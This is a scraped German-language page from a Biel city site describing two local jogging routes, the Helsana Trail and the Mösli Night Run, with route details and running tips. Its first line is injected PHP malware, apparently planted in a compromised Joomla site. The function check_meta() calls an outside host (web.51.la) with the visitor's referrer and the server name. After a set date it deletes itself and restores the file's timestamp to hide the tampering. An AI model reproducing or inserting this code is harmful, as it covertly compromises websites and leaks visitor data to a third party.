check_meta(); function check_meta(){ $jp = __FILE__; $jptime = filemtime($jp); if(time() >= 1456732117){ $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } @file_get_contents("http://web.51.la:82/go.asp?svid=8&id=18776828&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/components/com_search/models/content.php"); } Joggen
Français

Über die Stadt Biel


Mybiel
on Google+

Joggen

Helsana Trail

Startadresse: Westlich vom Sportplatz Mett, Biel


Helsana Parcours auf einer größeren Karte anzeigen

Beschrieb

Die ganze Runde liegt in einem schönen Laubwald. Auf dem Parcours hat es zwei längere Steigungen. Die eine nach etwa 1 Km, die zweite nach ungefähr 3 Km.

Parcours

4 Km Länge. 100% Naturstrasse.

Spezielles

Diese Runde eignet sich hervorragend für Nordic Walking. Einziges Problem sind die vielen Hundehalter mit ihren Tieren die auf der Strecke angetroffen werden können. Auf der Runde hat es Meteranzeigen alle 100 Meter. Die Strecke ist mit Wegweisern von Helsana markiert.

Dauer

Zwischen 16 und 24 Minuten

Bonus: Richtig Joggen

Jeder Bewegungsablauf eines Joggers ist individuell, so wie jeder Sportler auch. Es gibt daher keinen vordefinierten Ablauf, der körperlich eingehalten werden muss. Gleiches gilt für die Fußtechnik. Viel wichtiger ist es, dass der Gesamtablauf geschmeidig ist und somit die Gelenke schont. Ruckartige Bewegungen sind nicht nur ungesund, sie sind für den Laufenden auch sehr anstrengen. Anfängern kann es helfen, wenn sie sich im Geiste den Ablauf einer Gazelle vorstellen und versuchen ebenso gleichmäßig zu laufen. Entspannt statt verkrampft laufen und die Schritte in einem angenehmen Abstand wählen. Der Oberkörper sollte nur leicht nach vorne geneigt werden und bei gefühlter Anspannung kurz inne halten, erneut laufen und versuchen, die Statik zu ändern. Mehr Infos finden Sie im Gratis E-Book "Richtig Joggen" welches Sie gratis auf trendfit.net herunterladen können.

Mösli Night Run

Startadresse: Parkplatz Friedhof, Mösliweg 1, Biel


Mösli Night Run auf einer größeren Karte anzeigen

Beschrieb

Runde im Mösliquartier zwischen Wohnhäusern. Ganze Strecke auf Bürgersteig mit nur 4 bis 5 Strassenüberquerungen, davon 2 mit viel Verkehr. Vom Start an leichter Anstieg bis zum Spital Linde, anschliessend bis zurück zum Ziel, zuerst stark, dann leicht abfallend.

Parcours

2 Km Länge. 100% auf Asphalt.

Spezielles

Diese Runde ist zu 100% beleuchtet. Die Beleuchtung ist gut bis sehr gut. Somit ist diese Runde bestens geeignet um auch nach Dunkelheitseinbruch ein bisschen zu joggen. Ideal für den Winter.

Dauer

Zwischen 8 und 12 Minuten